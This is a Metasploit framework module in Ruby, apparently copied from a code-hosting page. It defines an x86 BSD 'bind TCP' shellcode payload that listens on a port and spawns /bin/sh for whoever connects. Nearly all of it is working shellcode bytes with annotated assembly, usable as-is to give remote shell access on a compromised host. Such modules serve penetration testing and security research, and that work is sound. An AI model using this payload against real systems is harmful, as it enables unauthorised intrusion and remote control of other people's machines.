74 lines
3.8 KiB
Ruby
74 lines
3.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = 73
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Payload::Bsd
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'BSD Command Shell, Bind TCP Inline',
|
|
'Description' => 'Listen for a connection and spawn a command shell',
|
|
'Author' => 'Ramon de C Valle',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'bsd',
|
|
'Arch' => ARCH_X86,
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
'Session' => Msf::Sessions::CommandShellUnix,
|
|
'Payload' =>
|
|
{
|
|
'Offsets' =>
|
|
{
|
|
'LPORT' => [ 6, 'n' ],
|
|
},
|
|
'Payload' =>
|
|
"\x31\xc0" + # xorl %eax,%eax #
|
|
"\x50" + # pushl %eax #
|
|
"\x68\xff\x02\x04\xd2" + # pushl $0xd20402ff #
|
|
"\x89\xe7" + # movl %esp,%edi #
|
|
"\x50" + # pushl %eax #
|
|
"\x6a\x01" + # pushl $0x01 #
|
|
"\x6a\x02" + # pushl $0x02 #
|
|
"\x6a\x10" + # pushl $0x10 #
|
|
"\xb0\x61" + # movb $0x61,%al #
|
|
"\xcd\x80" + # int $0x80 #
|
|
"\x57" + # pushl %edi #
|
|
"\x50" + # pushl %eax #
|
|
"\x50" + # pushl %eax #
|
|
"\x6a\x68" + # pushl $0x68 #
|
|
"\x58" + # popl %eax #
|
|
"\xcd\x80" + # int $0x80 #
|
|
"\x89\x47\xec" + # movl %eax,-0x14(%edi) #
|
|
"\xb0\x6a" + # movb $0x6a,%al #
|
|
"\xcd\x80" + # int $0x80 #
|
|
"\xb0\x1e" + # movb $0x1e,%al #
|
|
"\xcd\x80" + # int $0x80 #
|
|
"\x50" + # pushl %eax #
|
|
"\x50" + # pushl %eax #
|
|
"\x6a\x5a" + # pushl $0x5a #
|
|
"\x58" + # popl %eax #
|
|
"\xcd\x80" + # int $0x80 #
|
|
"\xff\x4f\xe4" + # decl -0x1c(%edi) #
|
|
"\x79\xf6" + # jns <bndsockcode+42> #
|
|
"\x50" + # pushl %eax #
|
|
"\x68\x2f\x2f\x73\x68" + # pushl $0x68732f2f #
|
|
"\x68\x2f\x62\x69\x6e" + # pushl $0x6e69622f #
|
|
"\x89\xe3" + # movl %esp,%ebx #
|
|
"\x50" + # pushl %eax #
|
|
"\x54" + # pushl %esp #
|
|
"\x53" + # pushl %ebx #
|
|
"\x50" + # pushl %eax #
|
|
"\xb0\x3b" + # movb $0x3b,%al #
|
|
"\xcd\x80" # int $0x80 #
|
|
}
|
|
))
|
|
end
|
|
end
|